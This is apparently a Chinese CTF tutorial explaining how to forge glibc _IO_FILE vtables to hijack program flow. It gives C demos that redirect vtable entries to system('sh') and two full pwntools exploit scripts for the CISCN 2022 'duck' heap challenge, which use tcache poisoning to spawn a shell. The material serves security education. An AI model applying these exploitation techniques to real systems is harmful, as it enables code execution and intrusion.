IO系类之伪造vtable

伪造 vtable 劫持程序流程

引言

前面我们简绍了linux中文件流的特性和数据结构,尤其是_IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。

因此伪造 vtable 劫持程序流程的中心思想就是针对_IO_FILE_plus 的 vtable 动手脚,通过把 vtable 指向我们控制的内存,并在其中布置函数指针来实现。

因此 vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。

实操

这里演示了修改 vtable 中的指针,首先需要知道_IO_FILE_plus 位于哪里,对于 fopen 的情况下是位于堆内存,对于 stdin\stdout\stderr 是位于 libc.so 中。

1
2
3
4
5
6
7
8
9
10
11
int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

vtable_ptr[7]=0x41414141 //xsputn

printf("call 0x41414141");
}

根据 vtable 在_IO_FILE_plus 的偏移得到 vtable 的地址,在 64 位系统下偏移是 0xd8。之后需要搞清楚欲劫持的 IO 函数会调用 vtable 中的哪个函数。关于 IO 函数调用 vtable 的情况已经在 FILE 结构介绍一节给出了,知道了 printf 会调用 vtable 中的 xsputn,并且 xsputn 的是 vtable 中第八项之后就可以写入这个指针进行劫持。

并且在 xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。

利用这点可以实现给劫持的 vtable 函数传參,比如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable

memcopy(fp,"sh",3);

vtable_ptr[7]=system_ptr //xsputn


fwrite("hi",2,1,fp);
}

但是在目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。不过,通过在可控的内存中伪造 vtable 的方法依然可以实现利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#define system_ptr 0x7ffff7a52390;

int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;

fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40);

vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset

vtable_addr[0]=(long long)fake_vtable;

memcpy(fp,"sh",3);

fake_vtable[7]=system_ptr; //xsputn

fwrite("hi",2,1,fp);
}

我们首先分配一款内存来存放伪造的 vtable,之后修改_IO_FILE_plus 的 vtable 指针指向这块内存。因为 vtable 中的指针我们放置的是 system 函数的地址,因此需要传递参数 “/bin/sh” 或 “sh”。

因为 vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 “sh” 写入_IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)。

同样,如果程序中不存在 fopen 等函数创建的_IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的_IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。

1
2
3
4
5
6
7
print &_IO_2_1_stdin_
$2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_>

0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/

例题——[CISCN 2022 华东北]duck

CISCN 2022 华东北duck

方法一 —— 修改_IO_file_jumps中的_IO_new_file_overflow

注意:只能劫持_IO_file_jumps,不能直接劫持修改_IO_new_file_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
from ctypes import *
from LibcSearcher import *
import sys

ls = lambda data :log.success(data)
lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))

filename = './pwn10'
url = 'node4.anna.nssctf.cn:28174'

context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'

match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url)
hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None)
p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename))
if len(sys.argv) > 1 and sys.argv[1] == 'de':
gdbscript = '''
b * main
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
elf = ELF(filename)
libc = ELF('./libc.so.6')

menu = 'Choice: '


def add():
p.sendlineafter(menu, '1')

def show(index):
p.sendlineafter(menu, '3')
p.sendlineafter('Idx:', str(index))

def delete(index):
p.sendlineafter(menu, '2')
p.sendlineafter('Idx:', str(index))

def edit(index, size, content):
p.sendlineafter(menu, '4')
p.sendlineafter('Idx:', str(index))
p.sendlineafter('Size:', str(size))
p.sendafter('Content:', content)


for i in range(9):
add()

for i in range(8):
delete(i)

show(7)
# main_arena = u64(r.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) - 96
# [+] ;40mmain_arena ---> 0xa20
p.recvuntil('\n')
main_arena = u64(p.recv(6).ljust(8 , b'\x00')) - 96
lss("main_arena")

show(0)
p.recvuntil('\n')
key = u64(p.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
lss("heap_base")


libc_base = main_arena - libc.sym['main_arena']
_IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']

# pause()
# for i in range(5):
# add() #9 - 13

p1 = p64(key ^ _IO_file_jumps)
edit(6, 0x10, p1)

add() #14 #9
add() #15 #10

one = [0xda861, 0xda864, 0xda867]
one_gadget = one[1] + libc_base
edit(10, 0x20, p64(0) * 3 + p64(one_gadget))

p.interactive()

方法二 —— 伪造io结构体

劫持_IO_new_file_xsputn这个函数。当然了修改_IO_new_file_overflow这个也是可以的,就是利用puts这个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
from ctypes import *
from LibcSearcher import *
import sys

ls = lambda data :log.success(data)
lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))

filename = './pwn10'
url = 'node4.anna.nssctf.cn:28174'

context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'

match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url)
hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None)
p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename))
if len(sys.argv) > 1 and sys.argv[1] == 'de':
gdbscript = '''
b * main
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
elf = ELF(filename)
libc = ELF('./libc.so.6')

menu = 'Choice: '


def add():
p.sendlineafter(menu, '1')

def show(index):
p.sendlineafter(menu, '3')
p.sendlineafter('Idx:', str(index))

def delete(index):
p.sendlineafter(menu, '2')
p.sendlineafter('Idx:', str(index))

def edit(index, size, content):
p.sendlineafter(menu, '4')
p.sendlineafter('Idx:', str(index))
p.sendlineafter('Size:', str(size))
p.sendafter('Content:', content)

for i in range(9) :
add() #0 - 8

for i in range(8) :
delete(i)

show(7)
p.recvuntil("\n")

main_arena = u64(p.recv(6).ljust(8 , b'\x00')) - 96
libc_base = main_arena - 0x1f2c60
show(0)
p.recvuntil("\n")
heap_base = u64(p.recv(5).ljust(8 , b'\x00')) << 12
lss('main_arena')
lss("libc_base")
lss("heap_base")

system_addr = libc_base + libc.sym['system']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']

key = heap_base >> 12
lss('key')

target = key ^ IO_file_jumps
edit(6 , 0x8 , p64(target))

add() #9
add() #10

fake = p64(0) + p64(0)
fake += p64(libc_base + 0x83d80) + p64(libc_base + 0x84750)
fake += p64(libc_base + 0x84440) + p64(libc_base + 0x85520)
fake += p64(libc_base + 0x86600) + p64(system_addr)



delete(9)
target = key ^ stdout
edit(9 , 0x8 , p64(target))
add() #11
add() #12
edit(12 , 0x8 , b'/bin/sh\x00')


pause()
p.sendlineafter(menu , '4')
p.sendline(b'10')
p.sendline(str(len(fake)))
p.sendline(fake)

p.interactive()